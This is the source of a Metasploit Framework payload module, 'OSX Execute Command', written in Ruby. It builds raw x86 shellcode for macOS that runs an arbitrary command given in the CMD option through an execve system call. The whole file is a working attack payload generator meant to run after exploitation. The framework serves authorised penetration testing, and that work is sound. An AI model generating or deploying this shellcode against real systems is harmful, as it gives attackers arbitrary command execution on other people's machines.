metasploit-framework/modules/payloads/singles/osx/x86/exec.rb

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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
###
#
# Exec
# ----
#
# Executes an arbitrary command.
#
###
module Metasploit3
include Msf::Payload::Single
def initialize(info = {})
super(merge_info(info,
'Name' => 'OSX Execute Command',
'Version' => '$Revision$',
'Description' => 'Execute an arbitrary command',
'Author' => [ 'snagg <snagg[at]openssl.it>', 'argp <argp[at]census-labs.com>' ],
'License' => BSD_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X86))
# Register exec options
register_options(
[
OptString.new('CMD', [ true, "The command string to execute" ]),
], self.class)
end
#
# Dynamically builds the exec payload based on the user's options.
#
def generate
cmd = datastore['CMD'] || ''
len = cmd.length + 1
payload =
"\x31\xc0\x50" +
Rex::Arch::X86.call(len) + cmd +
"\x00\x5e\x89\xe7\xb9" + Rex::Arch::X86.pack_word(len) +
"\x00\x00\xfc\xf2\xa4\x89\xe3\x50" +
"\x50\x53\xb0\x3b\x50\xcd\x80"
end
end